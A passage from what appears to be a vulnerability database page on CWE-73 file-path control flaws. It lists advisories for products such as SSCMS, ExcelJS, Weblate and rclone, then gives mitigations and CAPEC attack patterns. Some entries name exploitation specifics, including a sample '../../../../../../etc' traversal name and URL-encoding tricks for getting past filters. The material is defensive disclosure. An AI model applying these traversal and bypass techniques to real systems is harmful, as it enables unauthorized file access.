"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-94563"
},
{
"type": "WEB",
"url": "https://github.com/nukeviet/nukeviet/commit/8f7b3698f1c08b6cdedb500a0d2d2f528d4f0c87"
},
{
"type": "PACKAGE",
"url": "https://github.com/nukeviet/nukeviet"
},
{
"type": "WEB",
"url": "https://github.com/nukeviet/nukeviet/releases/tag/4.6.01"
},
{
"type": "WEB",
"url": "https://nukeviet.vn/vi/news/Tin-tuc/thong-bao-phat-hanh-nukeviet-4-6-01-857.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "NukeViet CMS: Authenticated path traversal to arbitrary file write via S/MIME certificate CN in SMTP settings"
}
GHSA-J86M-5X66-8H64
Vulnerability from github – Published: 2026-11-16 03:31 – Updated: 2026-11-16 03:31SSCMS 7.2.0 through 7.4.0 contains an arbitrary file read vulnerability that allows any registered user-center account to copy server files by supplying source paths to the layerImageUpload endpoint. Attackers can send siteId 0 with crafted filePaths entries to copy configuration files into their public sitefiles/home upload directory and download them anonymously.
{
"affected": [],
"aliases": [
"CVE-2026-129539"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-16T02:17:11Z",
"severity": "HIGH"
},
"details": "SSCMS 7.2.0 through 7.4.0 contains an arbitrary file read vulnerability that allows any registered user-center account to copy server files by supplying source paths to the layerImageUpload endpoint. Attackers can send siteId 0 with crafted filePaths entries to copy configuration files into their public sitefiles/home upload directory and download them anonymously.",
"id": "GHSA-j86m-5x66-8h64",
"modified": "2026-11-16T03:31:09Z",
"published": "2026-11-16T03:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-129539"
},
{
"type": "WEB",
"url": "https://github.com/siteserver/cms/issues/3909"
},
{
"type": "WEB",
"url": "https://github.com/siteserver/cms/blob/09ab59b9dd422782d9e1fe54f05088645f7c93e7/src/SSCMS.Web/Controllers/Home/Common/Form/LayerImageUploadController.Submit.cs#L114-L130"
},
{
"type": "WEB",
"url": "https://vul.yulun.ac.cn/20261114/siteserver-cms"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/sscms-7.2.0-through-7.4.0-arbitrary-file-read-via-layerimageupload-endpoint"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J8X6-F4HM-GPQH
Vulnerability from github – Published: 2026-07-10 15:31 – Updated: 2026-07-10 15:31In JetBrains TeamCity before 2026.1.2 arbitrary file access was possible via the Perforce VCS integration
{
"affected": [],
"aliases": [
"CVE-2026-59793"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T15:16:48Z",
"severity": "HIGH"
},
"details": "In JetBrains TeamCity before 2026.1.2 arbitrary file access was possible via the Perforce VCS integration",
"id": "GHSA-j8x6-f4hm-gpqh",
"modified": "2026-07-10T15:31:41Z",
"published": "2026-07-10T15:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59793"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J96F-82PQ-XHGW
Vulnerability from github – Published: 2025-11-11 09:30 – Updated: 2025-11-11 09:30It was possible to upload files with a specific name to a temporary directory, which may result in process crashes and impact usability. This flaw can only be exploited after authenticating with an operator- or administrator-privileged service account.
{
"affected": [],
"aliases": [
"CVE-2025-8998"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T08:15:34Z",
"severity": "LOW"
},
"details": "It was possible to upload files with a specific name to a temporary directory, which may result in process crashes and impact usability. This flaw can only be exploited after authenticating with an operator- or\u00a0administrator-privileged service account.",
"id": "GHSA-j96f-82pq-xhgw",
"modified": "2025-11-11T09:30:30Z",
"published": "2025-11-11T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8998"
},
{
"type": "WEB",
"url": "https://www.axis.com/dam/public/f5/62/80/cve-2025-8998pdf-en-US-504374.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-J9QR-GJ45-J8P8
Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-08 21:34External control of file name or path in Skype for Business allows an unauthorized attacker to execute code over a network.
{
"affected": [],
"aliases": [
"CVE-2026-66302"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-08T19:18:07Z",
"severity": "CRITICAL"
},
"details": "External control of file name or path in Skype for Business allows an unauthorized attacker to execute code over a network.",
"id": "GHSA-j9qr-gj45-j8p8",
"modified": "2026-09-08T21:34:17Z",
"published": "2026-09-08T21:34:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66302"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-66302"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JF45-QJM9-J9P9
Vulnerability from github – Published: 2025-10-03 12:33 – Updated: 2026-04-08 18:33The Backup Bolt plugin for WordPress is vulnerable to arbitrary file downloads and backup location writes in all versions up to, and including, 1.4.1 via the process_backup_batch() function. This makes it possible for authenticated attackers, with Administrator-level access and above, to download directories outside of the webroot and write backup zip files to arbitrary locations.
{
"affected": [],
"aliases": [
"CVE-2025-10306"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-03T12:15:42Z",
"severity": "LOW"
},
"details": "The Backup Bolt plugin for WordPress is vulnerable to arbitrary file downloads and backup location writes in all versions up to, and including, 1.4.1 via the process_backup_batch() function. This makes it possible for authenticated attackers, with Administrator-level access and above, to download directories outside of the webroot and write backup zip files to arbitrary locations.",
"id": "GHSA-jf45-qjm9-j9p9",
"modified": "2026-04-08T18:33:56Z",
"published": "2025-10-03T12:33:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10306"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3373151%40backup-bolt\u0026new=3373151%40backup-bolt\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/backup-bolt"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/63f38644-a021-407a-9882-2c8435849c08?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JF4H-9VF8-6GMP
Vulnerability from github – Published: 2026-11-13 12:31 – Updated: 2026-11-13 12:31ExcelJS through 4.4.0 contains an arbitrary file read vulnerability in the streaming WorkbookWriter that allows attackers to read local files by supplying crafted image filenames to addImage. Attackers can inject ../ path segments into user-controlled image paths, causing addMedia to embed any file readable by the Node.js process under xl/media in the generated workbook.
{
"affected": [],
"aliases": [
"CVE-2026-128347"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-13T10:18:15Z",
"severity": "HIGH"
},
"details": "ExcelJS through 4.4.0 contains an arbitrary file read vulnerability in the streaming WorkbookWriter that allows attackers to read local files by supplying crafted image filenames to addImage. Attackers can inject ../ path segments into user-controlled image paths, causing addMedia to embed any file readable by the Node.js process under xl/media in the generated workbook.",
"id": "GHSA-jf4h-9vf8-6gmp",
"modified": "2026-11-13T12:31:43Z",
"published": "2026-11-13T12:31:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mateocallec/exceljs-hardened/security/advisories/GHSA-f9m8-8qmf-qq29"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-128347"
},
{
"type": "WEB",
"url": "https://github.com/exceljs/exceljs"
},
{
"type": "WEB",
"url": "https://github.com/exceljs/exceljs/blob/v4.4.0/lib/stream/xlsx/workbook-writer.js#L124-L130"
},
{
"type": "WEB",
"url": "https://github.com/exceljs/exceljs/blob/v4.4.0/lib/stream/xlsx/workbook-writer.js#L230-L237"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/exceljs-through-4.4.0-arbitrary-file-read-via-workbookwriter-addimage-filename"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JFGP-674X-6Q4P
Vulnerability from github – Published: 2024-07-01 21:02 – Updated: 2024-11-18 16:26Impact
Weblate didn't correctly validate filenames when restoring project backup. It may be possible to gain unauthorized access to files on the server using a crafted ZIP file.
Patches
This issue has been addressed in Weblate 5.6.2 via https://github.com/WeblateOrg/weblate/commit/b6a7eace155fa0feaf01b4ac36165a9c5e63bfdd.
Workarounds
Do not allow project creation to untrusted users.
References
Thanks to Bryan Cahill for bringing this issue to our attention.
For more information
If you have any questions or comments about this advisory: * Open a topic in discussions * Email us at care@weblate.org
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Weblate"
},
"ranges": [
{
"events": [
{
"introduced": "4.14"
},
{
"fixed": "5.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-39303"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-01T21:02:30Z",
"nvd_published_at": "2024-07-01T19:15:05Z",
"severity": "LOW"
},
"details": "### Impact\nWeblate didn\u0027t correctly validate filenames when restoring project backup. It may be possible to gain unauthorized access to\nfiles on the server using a crafted ZIP file.\n\n### Patches\nThis issue has been addressed in Weblate 5.6.2 via https://github.com/WeblateOrg/weblate/commit/b6a7eace155fa0feaf01b4ac36165a9c5e63bfdd.\n\n### Workarounds\nDo not allow project creation to untrusted users.\n\n### References\nThanks to Bryan Cahill for bringing this issue to our attention.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a topic in [discussions](https://github.com/WeblateOrg/weblate/discussions)\n* Email us at [care@weblate.org](mailto:care@weblate.org)\n",
"id": "GHSA-jfgp-674x-6q4p",
"modified": "2024-11-18T16:26:48Z",
"published": "2024-07-01T21:02:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-jfgp-674x-6q4p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39303"
},
{
"type": "WEB",
"url": "https://github.com/WeblateOrg/weblate/commit/b6a7eace155fa0feaf01b4ac36165a9c5e63bfdd"
},
{
"type": "PACKAGE",
"url": "https://github.com/WeblateOrg/weblate"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Weblate vulnerable to improper sanitization of project backups"
}
GHSA-JG5V-4P8W-HWM3
Vulnerability from github – Published: 2026-09-19 12:32 – Updated: 2026-09-19 12:32rclone versions 1.56.0 through 1.75.0 contain a path traversal vulnerability in the rclone serve docker volume plugin. newVolume() in cmd/serve/docker/volume.go computes a volume's mountpoint as filepath.Join(drv.root, name) from the attacker-supplied name field of a Docker VolumeDriver.Create request without verifying that the result stays within drv.root (default /var/lib/docker-volumes/rclone), and checkMountpoint() then creates that directory with file.MkdirAll before mounting. A volume name containing enough .. components (e.g. "../../../../../../etc") therefore resolves outside the base directory, allowing anyone able to submit a VolumeDriver.Create request to the plugin socket — normally the Docker daemon, or a workload that can request named volumes in a multi-tenant orchestration setup — to make the privileged rclone plugin process create a directory and mount a remote filesystem specified in the same request at an arbitrary host path, shadowing or disrupting system directories. The advisory notes Volume.restoreState() had the same missing validation when reloading persisted volume state. Fixed in 1.75.1.
{
"affected": [],
"aliases": [
"CVE-2026-93987"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-19T12:16:42Z",
"severity": "MODERATE"
},
"details": "rclone versions 1.56.0 through 1.75.0 contain a path traversal vulnerability in the `rclone serve docker` volume plugin. newVolume() in cmd/serve/docker/volume.go computes a volume\u0027s mountpoint as filepath.Join(drv.root, name) from the attacker-supplied `name` field of a Docker VolumeDriver.Create request without verifying that the result stays within drv.root (default /var/lib/docker-volumes/rclone), and checkMountpoint() then creates that directory with file.MkdirAll before mounting. A volume name containing enough `..` components (e.g. \"../../../../../../etc\") therefore resolves outside the base directory, allowing anyone able to submit a VolumeDriver.Create request to the plugin socket \u2014 normally the Docker daemon, or a workload that can request named volumes in a multi-tenant orchestration setup \u2014 to make the privileged rclone plugin process create a directory and mount a remote filesystem specified in the same request at an arbitrary host path, shadowing or disrupting system directories. The advisory notes Volume.restoreState() had the same missing validation when reloading persisted volume state. Fixed in 1.75.1.",
"id": "GHSA-jg5v-4p8w-hwm3",
"modified": "2026-09-19T12:32:11Z",
"published": "2026-09-19T12:32:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/security/advisories/GHSA-p6vx-hf7p-98j6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93987"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/rclone-serve-docker-path-traversal-via-volume-name"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.